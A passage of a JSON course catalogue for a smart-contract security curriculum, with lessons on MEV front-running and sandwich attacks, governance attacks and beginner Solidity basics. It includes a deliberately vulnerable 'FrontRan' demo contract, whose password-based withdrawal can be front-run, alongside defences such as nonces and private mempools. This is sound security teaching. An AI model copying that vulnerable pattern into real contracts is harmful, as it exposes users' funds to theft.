node connected to an MEV bot, let's call this 'User B'.\n\nThe node, upon receiving the transaction, realizes that the deposit from 'User A' would dwindle its share in the pool. Just by chance, it also knows of certain larger imminent transactions, which will result in big fees. Therefore, the node chooses to stall the transaction from 'User A' temporarily, permitting 'User B' or the MEV bot to collect the big fees – effectively front running 'User A'.\n\n## Introducing 'Sandwich attacks'\n\nBeyond just front running, there are worst forms of deceiving manoeuvres - one such issue that potentially arises in T swap is known as 'Sandwich attacks'. These are when someone front-runs you, and then also \"back runs\" you.\n\n```\n-> Their Transaction\n-> Your Transaction\n-> Their Transaction\n```\n\nThey \"sandwich\" you between two of their transactions. One such example looks like such:\n\n1. You send a TX to buy 1 ETH for 1,000 DAI\n2. An MEV bot sees this:\n 1. Buys up all the ETH, pumping the price to 2,000\n 2. Your transaction goes through, buying 1 ETH for 2,000 DAI\n 3. They then sell their ETH for it's inflated price \n\nSeeing your big order of 1 ETH come in, the MEV bot manipulated the market so you paid more, and they profited. ", + "updates": [] + }, + { + "id": "0435db83-e395-44dd-9c86-07fd2c736a43", + "number": 7, + "title": "MEV: ThunderLoan", + "slug": "mev-thunder-loan", + "folderName": "7-mev-thunder-loan", + "description": "", + "duration": 2, + "videoUrl": "l0Wuk4UDDAU", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/7-mev-thunder-loan/+page.md", + "markdownContent": "---\ntitle: MEV - Thunder Loan\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\nSpeaking of Sandwich Attacks, that's exactly what happens in the Thunder Loan protocol. \n\n## An Introduction to Thunderloan and Potential MEV Issues\n\nThe Thunderloan protocol is a platform where users can take out flash loans, with a fee currently standing at ten USDC. These fees are directly withdrawn from TSWAP pools. However, the protocol's design makes it susceptible to MEV strategies. \n\n## The Sandwich Attack: A Closer Look\n\n\"t-swap\n\n\nHere's how it goes:\n\n1. User A makes a request to the Thunderloan protocol for a flash loan.\n2. Seeing the incoming flash loan request, User B, decides to exploit the situation. User B doesn't just want the fee to be high, they want it way higher!\n3. User B then front runs the flash loan function, and spikes the price on Uniswap by taking out a flash loan *themselves* to make the price go higher. Effectively, this swap alters the balances from the initial ten USDC and one ETH to highly skewed figures: perhaps 0.1 ETH and an astronomical amount of USDC (let's say a billion). Since the fee is derived from the T-Swap pool, the Thunder Loan platform now has a way bigger fee, that the user wasn't aware of. \n4. Then, after collecting the fee, User B swaps back to the original ratio of 10 USDC and 1 ETH.\n\n## The Takeaway\n\n> \"Understanding the landscape of MEV vulnerabilities, and how it can lead to 'Sandwich Attacks,' is paramount for DeFi users. Only by identifying potential threats can we begin to devise methods to avoid being sandwiched.\"\n\nThe above exploration of the potential MEV issue in Thunderloan paints a broader picture of potential vulnerabilities in DeFi protocols. By shining light on this issue, we can aspire to ensure safer transactions and reduce the adverse impacts of MEV exploits.\n", + "updates": [] + }, + { + "id": "0856ee94-ef38-45d1-91a3-0b56194b3338", + "number": 8, + "title": "MEV: BossBridge", + "slug": "mev-boss-bridge", + "folderName": "8-mev-boss-bridge", + "description": "", + "duration": 1, + "videoUrl": "xH_obN07jGU", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/8-mev-boss-bridge/+page.md", + "markdownContent": "---\ntitle: MEV - Boss Bridge\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## MEV - Boss Bridge\n\nNow you're starting to see the picture, and the Boss Bridge MEV becomes clear. \n\n\"boss\n\nIf you send a transaction with your signature on-chain, someone can easily see that transaction in the mempool, and then send their own transaction with your signature!\n\n## Prevention\n\nTo prevent this, we can do something similar to the Signature Replay protection, where we add a nonce, make sure the first time it's called with the signer, etc. \n\n", + "updates": [] + }, + { + "id": "db99bec6-0e4b-4b88-88b1-af410e917a5d", + "number": 9, + "title": "MEV: LIVE", + "slug": "mev-live", + "folderName": "9-mev-live", + "description": "", + "duration": 12, + "videoUrl": "vM2rXG0bB-w", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/9-mev-live/+page.md", + "markdownContent": "---\ntitle: MEV - LIVE\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Now, we are going to watch a video of me getting front-ran, LIVE\n\nHere is [the code we are going to use to see it](https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/MEV/Frontran.sol)\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ncontract FrontRan {\n error BadWithdraw();\n\n bytes32 public s_secretHash;\n\n event success();\n event fail();\n\n constructor(bytes32 secretHash) payable {\n s_secretHash = secretHash;\n }\n\n function withdraw(string memory password) external payable {\n if (keccak256(abi.encodePacked(password)) == s_secretHash) {\n (bool sent,) = msg.sender.call{value: address(this).balance}(\"\");\n if (!sent) {\n revert BadWithdraw();\n }\n emit success();\n } else {\n emit fail();\n }\n }\n\n function balance() external view returns (uint256) {\n return address(this).balance;\n }\n}\n```\n\nWatch the video to see:\n1. Me get front-ran\n2. How we prevent it with [Flashbots Protect](https://docs.flashbots.net/flashbots-protect/overview)\n", + "updates": [] + }, + { + "id": "2a8ee81a-1be3-46f5-ba4e-cca550526af3", + "number": 10, + "title": "MEV: Live AGAIN", + "slug": "mev-live-again", + "folderName": "10-mev-live-again", + "description": "", + "duration": 6, + "videoUrl": "p_hE0sq0uU8", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/10-mev-live-again/+page.md", + "markdownContent": "---\ntitle: MEV - Live AGAIN!\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Can we obfuscate the transaction?\n\nSo, a lot of people saw me do this and started to theorize.\n\n- \"Hey, could we obfuscate the transaction?\"\n- \"What if there was another contract in the way?\"\n- \"What if it was written in assembly?\"\n\nAnd I'm here to tell you, it doesn't matter. The bots simulate the transaction, and pick out the parts they can use to make money. \n\nWe look at a [modified example](https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/MEV/Bouncer.sol) where we add a \"bouncer\" contract to try to \"block\" the transactions.\n\n\"bouncer\"\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ninterface IFrontRan {\n function withdraw(string memory password) external;\n}\n\ncontract Bouncer {\n error Bouncer__NotOwner();\n error Bouncer__DidntMoney();\n\n address s_owner;\n address s_frontRan;\n\n constructor(address frontRan) payable {\n s_owner = msg.sender;\n s_frontRan = frontRan;\n }\n\n function go(string memory password) external {\n if (msg.sender != s_owner) {\n revert Bouncer__NotOwner();\n }\n IFrontRan(s_frontRan).withdraw(password);\n (bool success,) = payable(s_owner).call{value: address(this).balance}(\"\");\n if (!success) {\n revert Bouncer__DidntMoney();\n }\n }\n\n receive() external payable {}\n}\n```\n\nSo, watch the video above to see, will this contract help block the MEV bots? ", + "updates": [] + }, + { + "id": "f89212c6-f10f-42ec-a5f1-cdfeccb54041", + "number": 11, + "title": "Case Study: Pashov", + "slug": "case-study-pashov", + "folderName": "11-case-study-pashov", + "description": "", + "duration": 24, + "videoUrl": "qgrV89fhhFw", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/11-case-study-pashov/+page.md", + "markdownContent": "---\ntitle: MEV Case Study - Pashov\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\nTo walk us through some real-world reports where MEV was reported, we have guest lecturuer [Pashov](https://twitter.com/pashovkrum) to walk us through! \n\n\n\"pashov\"", + "updates": [] + }, + { + "id": "1323222f-b81d-4173-b237-f43b130d3042", + "number": 12, + "title": "MEV: Prevention", + "slug": "mev-prevention", + "folderName": "12-mev-prevention", + "description": "", + "duration": 4, + "videoUrl": "G_I6qKce4lE", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/12-mev-prevention/+page.md", + "markdownContent": "---\ntitle: MEV - Prevention\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## Designing For Protection\n\nOur first line of defense against MEV is to refine our designs. To illustrate this, let's revisit a puppy raffle sample.\n\nWe can shield our raffle from this kind of attack by updating our Solidity code. A simple solution would be to introduce a function, like `endRaffle`, which signifies the completion of the raffle. Once a raffle is `ended` it will enter a new state, where no one can refund or do anything until a winner is picked. Here’s an example of how we can incorporate additional protections into our smart contract:\n\n\"pashov\"\n\n\nOur contract now includes a `refund` function that checks if the raffle has ended - if it has, it reverts the function, making it impossible for users to refund their bets after peeking into the mempool.\n\n## Private or Dark Mempool\n\nWhen the designs have been beefed up, the next step to consider is the use of a private or \"dark\" mempool, such as [Flashbots Protect](https://docs.flashbots.net/flashbots-protect/overview), MEV Blocker, or a secure RPC.\n\n\"pashov\"\n\nInstead of submitting your transaction to a public mempool, you can send your transaction to this private mempool. Unlike the public mempool, this keeps the transaction for itself until it's time to post it on the chain.\n\nDespite its pros, the private mempool requires you to trust that it will maintain your privacy and avoid front-running. Another downside is the slower transaction speed. If you're curious, you can observe this in action by adding an RPC from Flashbots Protect to your MetaMask.\n\n\n\nAs security experts, we should always be advising protocols how they can defend their users against MEV. ", + "updates": [] + }, + { + "id": "d66d4e52-3711-4f09-b765-2a6ea6df136d", + "number": 13, + "title": "MEV: Recap", + "slug": "mev-recap", + "folderName": "13-mev-recap", + "description": "", + "duration": 2, + "videoUrl": "0nFEilLAHAQ", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/13-mev-recap/+page.md", + "markdownContent": "---\ntitle: MEV - Prevention\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Understanding Mev and How to Mitigate Its Impact\n\nMev refers to the potential reward that a miner, node, or bot could glean from ordering transactions. They often use the information of what's coming from the mempool to make those ording choices. \n\n## Types of Mev Attacks\n- Front-running\n- Backrunning\n- Sandwich \n- Many more...\n\nThere are various ways through which Mev can be exploited to benefit the entity spotting the transaction. Some of the most common types of Mev attacks include:\n\n- *Front Running*: This occurs when an entity spots a pending transaction and then acts quickly to execute another transaction before the victim transaction hits. \n- *Sandwich Attacks*: Similar to front running, this involves an attacker boxing in a user's transaction with their transactions on either side. \n\n## Protecting Against Mev Attacks\n\nWhile the realities of Mev can be daunting, there are ways to mitigate its impact:\n\n1. **Better Design** – Constructing the transaction in a manner that makes it harder for bots to gain useful knowledge. This might involve masking critical information or employing other strategic measures.\n2. **Use of Private RPC or Dark Pools** – These are networks that allow transactions to be processed outside of the public mempool. Services such as Flashbots Protect, Mev Blocker, and Secure RPC play an essential role in this regard.\n\nWe should note that Mev is not some mythical concept – it does have real-world consequences on the Ethereum blockchain. I have witnessed firsthand the material impact of it, even losing real money in the process.\n\n> quoted text\"**Mev bots are real, and they are actively scouting for any opportunity to make money. Consequently, understanding how Mev works and how to protect against it is crucial for anyone operating within the blockchain landscape**.\"\n\nSo, having read this blog post, you should now have a solid grasp of Mev. Here's to smarter and better-secured transactions on the blockchain!\n", + "updates": [] + }, + { + "id": "ceb58aa9-58d3-4503-aff4-92ad38a9b4f6", + "number": 14, + "title": "Governance Attack: Intro", + "slug": "governance-attack-intro", + "folderName": "14-governance-attack-intro", + "description": "", + "duration": 7, + "videoUrl": "ph_xoZaMleU", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/14-governance-attack-intro/+page.md", + "markdownContent": "---\ntitle: Governance Attack - Introduction\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\nFor this one, sit back and relax as Cyfrin's own [Juliette](https://twitter.com/_juliettech) gives us a walkthrough of governance attacks from a high level. ", + "updates": [] + }, + { + "id": "1a7f7d59-f971-4aa0-8085-58514c7f818e", + "number": 15, + "title": "Case Study: Bean", + "slug": "case-study-bean", + "folderName": "15-case-study-bean", + "description": "", + "duration": 20, + "videoUrl": "4FMwVKaXt6A", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/15-case-study-bean/+page.md", + "markdownContent": "---\ntitle: Case Study - Bean\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\nAnd now, we have guest lecturer and fellow course creator [JohnnyTime](https://twitter.com/RealJohnnyTime) to walk us through a real-world case study of a governance attack in action.\n\nYou can read more about the [Bean attack in Rekt.](https://rekt.news/beanstalk-rekt/)", + "updates": [] + }, + { + "id": "224db888-298d-4ee2-8c67-15fc3cb6eff3", + "number": 16, + "title": "End Part 1", + "slug": "end-part-1", + "folderName": "16-end-part-1", + "description": "", + "duration": 10, + "videoUrl": "PFV7C4d-EwE", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/16-end-part-1/+page.md", + "markdownContent": "---\ntitle: End of Part 1\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Congratulations on Nailing Part One of the Security Curriculum: Here's What's Next\n\nHey, friends. Great to see you again. What a journey it's been so far!\n\nGetting through the first part of this majorly intense curriculum deserves a massive round of applause. We've covered a variety of crucial topics. From `Mev signature replays` and `reentrancy attacks`, we've gone over the `audit process`, to `stateful fuzzing`. We've also touched on interesting concepts like `invariants`, `arbitrage`, `DeFi`, `borrowing and lending`, `flash loans`, and much more.\n\nIn just completing the last five security reviews, you've not only established a formidable portfolio but also demonstrated that persistent practice pays off. Remember: repetition is the mother of skill.\n\n\n## You got this\n\nAnd here is the thing, we've just trained you on the EXACT process the professionals do. So you know how to do this!!\n\n## The Game Plan\n\n**1. Scoping**\n\nBegin with scope identification. Determine what you're working with - the commit hash, the compatibilities, the chains, and the tokens.\n\n**2. High-Level Analysis**\n\nNext, aim to understand what the code is supposed to achieve. Read the documentation, discuss with the team, make diagrams, take notes. Dump all your thoughts down on paper.\n\n**3. Code Comprehension**\n\nTime to dive into the code. It’s okay if you don’t find anything at first – that's normal. Simply aim to interpret the code. Ask yourself: Is the code doing what the protocol intends it to do?\n\n**4. Identifying Vulnerabilities**\n\nYour final mission is the most challenging - finding vulnerabilities. Use your checklist for guidance, looking for any weird ERC20s or potential MEV.\n\n## Testing Your Skills\n\nThe Vault Guardians code base offers greater complexity than any previous codebases. Embrace this new level of difficulty. Seize this opportunity to test your prowess in the face of adversity.\n\nMy suggestion to you: team up with a peer. This vault presents numerous bugs and issues for you to uncover, which will help build your confidence and improve your bug-finding skills.\n\n**And remember: do not proceed to part two just yet.**\n\n## A Valuable Detour\n\nNow, it's time. You have 2 options. \n\n\\**Option 1: Compete in a real competitive audit on platforms like Code Hawks. The excitement of the competition will keep you on edge and the real code base is sure to test all your abilities*.\n\n\\*\\*Option 2: Pair up and tackle the Vault Guardians codebase as a learning experience.\n\n## To Recap:\n\n1. First of all, great job! By just getting this far, you outdo more than 70% of the current security landscape.\n2. Do not move to part two yet. Either try your hand at a Code Hawks competitive audit or complete the Vault Guardians audit with a partner.\n\nRemember your security journey is far from over. Part two is where we (will) dig even deeper into assembly, EVM, formal verification, and more. \n\nSo... We are looking forward to seeing you back for Part 2 after you try your hand at either Vault Guardians or Code Hawks.\n\nGood luck!!", + "updates": [] + } + ] + } + ] + }, + { + "id": "5d004a66-1e36-4679-a54f-6fd426913ba3", + "title": "Solidity fundamentals", + "slug": "solidity", + "folderName": "solidity", + "lastUpdated": "Thu Dec 14 2023 10:13:39 GMT-0500 (Eastern Standard Time)", + "trailerUrl": "", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/v1701193477/updraft/courses/qkrcodmbwwphpplbon0r.png", + "description": "If you’re new to writing smart contracts, start here! Get started developing smart contracts with Solidity, learn the best practices followed by the top-industry experts and kickstart your web3 career.", + "path": "Solidity Developer", + "number": 0, + "githubUrl": "https://github.com/Cyfrin/path-solidity-developer-2023/discussions", + "overview": { + "learnings": "Introduction to smart contracts development and deployment, Introduction to blockchain oracles, Introduction to smart contracts testing ", + "preRequisites": ["Blockchain basics"] + }, + "duration": 5, + "authors": [ + { + "name": "Patrick Collins", + "role": "Founder", + "avatarUrl": "https://res.cloudinary.com/droqoz7lg/image/upload/v1700778389/patrick_zrg8k0.webp", + "company": "Cyfrin" + }, + { + "name": "Austin Griffith", + "role": "Builder", + "avatarUrl": "https://pbs.twimg.com/profile_images/1484336102693490689/bmhym86N_400x400.jpg", + "company": "Buidl Guidl" + } + ], + "sections": [ + { + "number": 1, + "id": "8f376c2c-270d-4022-94ea-9686079c6244", + "title": "Simple Storage", + "slug": "simple-storage", + "folderName": "1-simple-storage", + "lessons": [ + { + "id": "eb95ab4e-315d-4c2c-ada7-de40ad9ea462", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "This lesson provides an introduction to the course, guiding students through accessing and navigating the GitHub repository, understanding the usage of the repository for cloning lesson codes, and engaging in discussions. It also covers the importance of asking questions and setting up for coding, including accessing educational resources and preparing for building and deploying a smart contract.", + "duration": 3, + "videoUrl": "nzeR4vWsAz8", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/1-introduction/+page.md", + "markdownContent": "---\ntitle: Repository Access and Navigation\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\n## Introduction\n\nTo get started, navigate to our [GitHub repository](https://github.com/Cyfrin/foundry-full-course-f23) \n\n\n\n\nThe interface might look slightly different when you first access it, but no need to worry. What you're looking for is the repository associated specifically with this lesson. This repository will contain all the code required for this stage of the course, together with a `README` section. The `README` will provide you with a wealth of notes on how to work with the code.\n\n## Usage of the repository\n\nThe repository serves two main purposes:\n\n- **Access and Clone:** It provides easy access to all lesson codes, allowing you to clone them effortlessly.\n\n- **Discussion Section:** Engage with fellow students, ask questions, and participate in collaborative learning.\n\nMake the most of this repository by accessing and cloning lesson codes quickly, while also taking part in interactive discussions with your peers. Happy learning!\n\n## Asking Questions\n\nThroughout your journey, you'll likely have queries that you'd need answers to. We recommend using the Questions section provided. We'll guide you on how to ask questions such that they have the highest chance of receiving an answer from the community, an AI, or a forum.\n\n\n\n\n\n## Setting Up\n\nBefore we dive into coding, it is essential that you have access to the code repository and educational resources provided.\n\n1. Access the GitHub repository associated with this course. The repository contains all the code we will be working with, as well as a README file which includes important notes on working with the code.\n2. If you face any issues or want to participate in discussions, use the discussions tab on GitHub instead of creating issues.\n\nAlso, I recommend creating accounts on the following platforms if you haven't already:\n- [GitHub](https://github.com/)\n- [Stack Exchange Ethereum](https://ethereum.stackexchange.com/)\n- [Chat GPT](https://openai.com/blog/chatgpt) (but remember it might not always provide accurate information).\n\n## Let's Start Coding!\n\nNow, comes the exciting part — we're actually going to be building and deploying your first smart contract!\n\n\nWe're going to be utilizing a tool called an IDE — specifically, Remix, for deploying and interacting with this smart contract. The best way to get the most out of this guide is to code along with me. You're encouraged to change the speed on the tutorial video to match your coding pace. Remember, repetition is critical to building a new skill and we want to make sure that you come out on the other side armed with it!\n\n## The Deployment Tool: Remix\n\n\n\n\nTo plunge into coding, we're going to be using [Remix](https://remix.ethereum.org/). You can either Google search it or access it directly from the link provided.\n\nSo, let's jump right in and start deploying your first smart contract! By the end of this lesson, you'll have deployed your first smart contract and written your first bit of Solidity code. We can't wait to get through this exciting journey with you!\n\n\n\n\n", + "updates": [] + }, + { + "id": "47b4427f-fb3e-4d7a-bb25-e26129720573", + "number": 2, + "title": "Setting up your first contract", + "slug": "create-solidity-smart-contract", + "folderName": "2-setting-up-your-first-contract", + "description": "A beginner's guide to creating a Solidity smart contract using Remix IDE. The lesson covers the basics of setting up a Solidity development environment, including creating a new file, writing the contract, understanding SPDX License Identifier, and compiling the contract.", + "duration": 11, + "videoUrl": "1VYYhX7AXdI", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/2-setting-up-your-first-contract/+page.md", + "markdownContent": "---\ntitle: Setting Up Your First Contract\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\n# Introduction\n\nTo get started, we want to open up remix. When you open it up, you'll be greeted with a site that looks like this.\n\n\n\nYou may select \"Accept\" or just ignore. \n\n\n## Using Remix IDE\n\nRemix IDE is a powerful tool used for developing smart contracts in Solidity. In this section, we will be creating our smart contract and deploying it on a blockchain.\n\n1. Open Remix IDE by either searching on Google or visiting the link provided in the GitHub repository.\n2. If it's your first time using Remix, it will provide you a tutorial walkthrough of its features. You can choose to go through it.\n3. Clean the environment by right-clicking and deleting the existing folders (optional).\n4. Create a new file by clicking on the \"create new file\" button and give it a name, e.g., SimpleStorage.sol. The `.sol` extension indicates it is a Solidity file.\n\n\n\n```js\n// Your first line in SimpleStorage.sol\npragma solidity ^0.8.19;\n```\n\nThis line specifies the version of Solidity you are using. The caret (^) symbol specifies that the code is compatible with the mentioned version and any new version till (but not including) 0.9.0.\n\n## SPDX License Identifier\n\nIt's a good practice to start your smart contract with an SPDX License Identifier. Though it's not mandatory, it helps in making licensing and sharing code easier from a legal perspective.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n```\n\nMIT is known as one of the most permissive licenses which means anybody can use this code and pretty much do whatever they want with it.\n\n## Writing the Smart Contract\n\nStart by writing your contract using the keyword `contract`. Give it a name, e.g., SimpleStorage. Everything inside the curly brackets will be considered part of this contract.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\ncontract SimpleStorage {\n\n}\n```\n\n## Compiling the Contract\n\n1. In Remix IDE, select the Solidity Compiler.\n2. Choose the version of the compiler that matches the version specified in your Solidity file.\n3. Hit the `Compile` button.\n\nCompiling your code means taking human-readable code and transforming it into computer-readable code or bytecode.\n\nIf you see a green checkmark, it means your compilation was successful. If there is any error, Remix will point out where the error is, and you can debug it accordingly.\n\n## Congratulations\n\nTechnically, you just drafted your first Smart Contract. It's a straightforward operation and the script doesn't do anything yet. However, we're well on our way.\n\n", + "updates": [] + }, + { + "id": "390707ce-edd1-40df-9b81-8eb7c47ebb96", + "number": 3, + "title": "Basic variable types", + "slug": "solidity-basic-types", + "folderName": "3-basic-types", + "description": "This lesson introduces basic variable types in Solidity, such as Boolean, Uint, Integer, Address, and Bytes. It explains how to define variables in a Solidity contract and their default values, providing a foundational understanding of data types in smart contract programming.", + "duration": 9, + "videoUrl": "rGckm0GeQFc", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/3-basic-types/+page.md", + "markdownContent": "---\ntitle: Basic Solidity Types\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n## Learning about Solidity Types\n\nSolidity supports many different types, from primitive types like integers to complex ones like user-defined types. You can read more about them in the [Solidity documentation](https://docs.soliditylang.org/en/v0.8.20/types.html#types).\n\nFor now, let's focus on some of the basic types:\n\n- **Boolean:** Represents true or false value.\n- **Uint:** Uncapped positive whole number (An unsigned integer).\n- **Integer:** It could be positive or negative. (Whole numbers only, no fractions or decimals).\n- **Address:** A unique identifier similar to our everyday address.\n- **Bytes:** A set of bytes (a lower-level type that could be a string in hexadecimal representation).\n\n\n\n\n\n## Variables definitions in Solidity\n\nNow, let's understand variables. They are just placeholders for values, and these values can have one of the types from the list above (or even other types). For instance, we could create a Boolean variable named `hasFavoriteNumber`, which would represent whether someone has a favorite number or not (`True` or `False`).\n\n```bash\nbool hasFavoriteNumber = true;\n```\n\nIn the above statement, the variable `hasFavoriteNumber` now represents `True`.\n\nString and bytes have a special connection. In fact, strings are just bytes with special treatment for text. So, a string text can easily be converted to bytes.\n\n## The Magic that is 'Bytes'\n\nBytes could be observed in many shapes and forms, like an assortment of characters or words written in hexadecimal representation. Like integers, bytes too can be allocated size (but only up to `32`). For example:\n\n```bash\nbytes4 myBytes = \"test\";\n```\n\nIn the above statement, `myBytes` is a bytes variable, of size 4, holding the value \"test\".\n\n## Solidity Contract: Storing Favorite Numbers!\n\nLet's mark up a simple contract where we aim to store the favorite numbers of different people. We would only need the variable `favoriteNumber` of type Uint for this task.\n\n```bash\nuint256 favoriteNumber;\n```\n\nNow every variable in Solidity comes with a default value which may or may not be initialized. Like Uint256, it's default to Zero (0) and an uninitialized boolean defaults to `False`.\n\n```bash\nuint256 favoriteNumber = 0;\n```\n\nAbove statement suggests that favoriteNumber has been set to the default value of 0.\n\n## Wrapping Up\n\nYou've just created one smart contract and explored fundamental types and variables in Solidity in the process. Remember to write comments in your code. They’re like your map when re-visiting your code or explaining it to others.\n\nSo, keep experimenting, keep learning and let's continue with the next lesson.", + "updates": [] + }, + { + "id": "f89fb538-7afa-486c-8a95-c402d755621c", + "number": 4, + "title": "Functions", + "slug": "solidity-functions", + "folderName": "4-functions", + "description": "This lesson focuses on creating functions in Solidity, specifically a 'Store' function for updating a variable. It explains the syntax and structure of functions, including visibility specifiers, and guides students through deploying and interacting with the smart contract using the Remix IDE.", + "duration": 20, + "videoUrl": "RoeHK-wKDfk", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/4-functions/+page.md", + "markdownContent": "---\ntitle: Functions & Deployment\n---\n\n\n*Follow along with the course here.*\n\n\n\n\n\nLet's dive into creating our first Solidity function called `Store`. The function `Store` will be responsible for updating our `favoriteNumber` variable.\n\n## Building the Store Function\n\nIn Solidity programming, functions are identified by the keyword `Function`. You write the `Function` keyword, followed by the function's name, and additional parameters enclosed in parentheses. The parameters define the data a function needs to execute. For instance, to inform our `Store` function about the value it should use to update `favoriteNumber`, we pass a variable of type `uint256` named `_FavoriteNumber`.\n\nHere's how to define the function:\n\n\n\n```js\nfunction Store(uint256 _favoriteNumber) public {favoriteNumber = _favoriteNumber;}\n```\n\nWithin these brackets `{'{'}...{'}'}`, we indicate that the `favoriteNumber` variable is updated to `_favoriteNumber` whenever the `Store` function is called.\n\nThe prefix `_` indicates that `_favoriteNumber` is different from the favoriteNumber variable outside the function. This helps prevent potential confusion when dealing with different variables with similar names.\n\nThis function can be tested out on the local Remix VM.\n\n## Deploying the Smart Contract\n\nAt this stage, you can compile your code by navigating to the compile tab and hitting Compile. After compiling, navigate to the tab titled **Deploy and Run Transactions** to test your function.\n\nThe **Deploy and Run Transactions** tab holds a variety of parameters that are used during the deployment and running of transactions. The contract will be deployed to a simulated Remix VM environment.\n\n\n\nIn the environment, your contract will have been assigned a unique address. As with MetaMask wallets, you can copy the contract's address using the copy tool and save it as a comment in your code.\n\n\n\n\nAs shown below:\n\n```go\nThe Address of our Contract is: 0xd9145CCE52D386f254917e481eB44e9943F39138 This is a Sample Address\n\n```\n\nAgain, you can re-access your deployed contract by expanding the **Deployed Contracts** interface and simultaneously opening the terminal, which shows log data of all contract deployment and transactions.\n\n### Making Transactions with the Store Function\n\nNow, you can send a transaction to your `Store` function to change the variable `favoriteNumber`. By inputting a number and pressing the `Store` button, a transaction is initiated. After some time, the transaction's status will change from pending to complete.\n\nEvery transaction consumes Ether from your account as it is processed; Ether is spent for each operation inside Ethereum's virtual machine or EVM. In our case, deploying a contract and invoking its functions consumes gas (Ether).\n\nKeep in mind: whenever a value on the blockchain is modified, it's done by sending a transaction that consumes gas.\n\n### Checking the Transaction\n\nAt this point, you may want to confirm that the favorite number has actually been updated. The visibility of the `favoriteNumber` variable, however, is defaulted to internal thereby not allowing outside contracts and people to view it. But fear not, simply append the keyword `public` to variable `favoriteNumber` and you will be able to see it.\n\n```bash\nuint256 public favoriteNumber;\n```\n\nAfter compilation and deployment, a button labeled `favoriteNumber` will become visible. When pressed, it should return the value of `favoriteNumber`.\n\n\n\n\n## Understanding Function & Variable Visibility\n\nIn Solidity, functions and variables can have one of four visibility specifiers: \n- `public`\n- `private`\n- `external` \n- `internal`. \n \nIf a visibility specifier is not given, it defaults to `internal`.\n\n\n\n\n## Deeper Understanding of Functions\n\nIn the case of retrieving a value from the blockchain without modification, Solidity provides `view` and `pure` keywords.\n\nA function marked as `view` is used when we simply need to read state from the blockchain (without modifying it). It is correspondent to the blue buttons in the Remix interface.\n\n```bash\nfunction retrieve() public view returns(uint256){return favoriteNumber;}\n```\n\n\n\n\nA `pure` function, on the other hand, disallows any reading from the state or storage or any modification of the state.\n\n```bash\nfunction retrieve() public pure returns(uint256){return 7;}\n```\n\nIt's worth mentioning that while calling `view` or `pure` functions don’t require gas, they do require gas when called by another function that modifies the state or storage through a transaction.\n\n## Understanding the Scope of a Variable\n\nThe scope of a variable is determined by the curly braces `{'{'}...{'}'}` in which it is declared. A variable can only be accessed within its declared scope. Therefore, if you need to access a variable on different functions, you should declare it outside the functions but inside the contract.\n\n## Conclusion\n\nIn this walk-through, you have learnt how to build a function in Solidity, define its visibility, and understand how it operates on values within a smart contract. You have also explored different transactions and how they consume gas. By understanding functions and their operations, you can take the next step in creating and deploying sophisticated smart contracts on the Ethereum blockchain.\n\nLet's keep learning!", + "updates": [] + }, + { + "id": "271a2535-9ece-4e0b-8678-8794bd84a0b0", + "number": 5, + "title": "Arrays and structs", + "slug": "solidity-arrays-and-structs", + "folderName": "5-arrays-and-structs", + "description": "This lesson explores the use of arrays and structs in Solidity for creating a list of favorite numbers and tying them to individuals. It demonstrates how to create and manipulate arrays and structs, enhancing the functionality of a smart contract to handle multiple data entries.", + "duration": 13, + "videoUrl": "uV40pjDC3fw", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/5-arrays-and-structs/+page.md", + "markdownContent": "---\ntitle: Solidity Arrays & Structs\n---\n\n*Follow along with the course here.*\n\n\n\n## Storing and Tracking Favorite Numbers in Our Contract\n\nOur smart contract, as is, does an excellent job. It primarily enables users to store their favorite numbers, update them, and view them later. Sounds brilliant, right? Yet, it has been specifically designed to store a single favorite number at a time. What if we wanted to maintain not just our favorite number, but others as well?\n\nIn this lesson, we will explore how we can extend this functionality. We'll learn how to create a list of favorite numbers using arrays. Additionally, we will delve into using `structs` for creating new types in Solidity. Let's get started!\n\n### An Array of Favorite Numbers\n\nThe idea is to say goodbye to one `uint256` favorite number and say hello to a list of `uint256` numbers, or in our case, a list of favorite numbers. Here's the magic syntax:\n\n```bash\nuint256[] list_of_favorite_numbers;\n```\n\nThe bracket syntax identifies that we have a list of `uint256`, a list or array of numbers. An array of numbers would look something like this:\n\n```bash\nArray_Example_list_of_favorite_numbers = [0, 78, 90];\n```\n\nArrays are very dominant in computer science and programming, and an array in Solidity bears resemblance to an array in any other programming language. If you're new to arrays or lists, remember arrays are zero indexed. The first element starts from index zero, the second from index one, and so on.\n\n### Creating a Struct for `Person`\n\nBut an array of numbers is not enough - we wouldn't know whose favorite number is 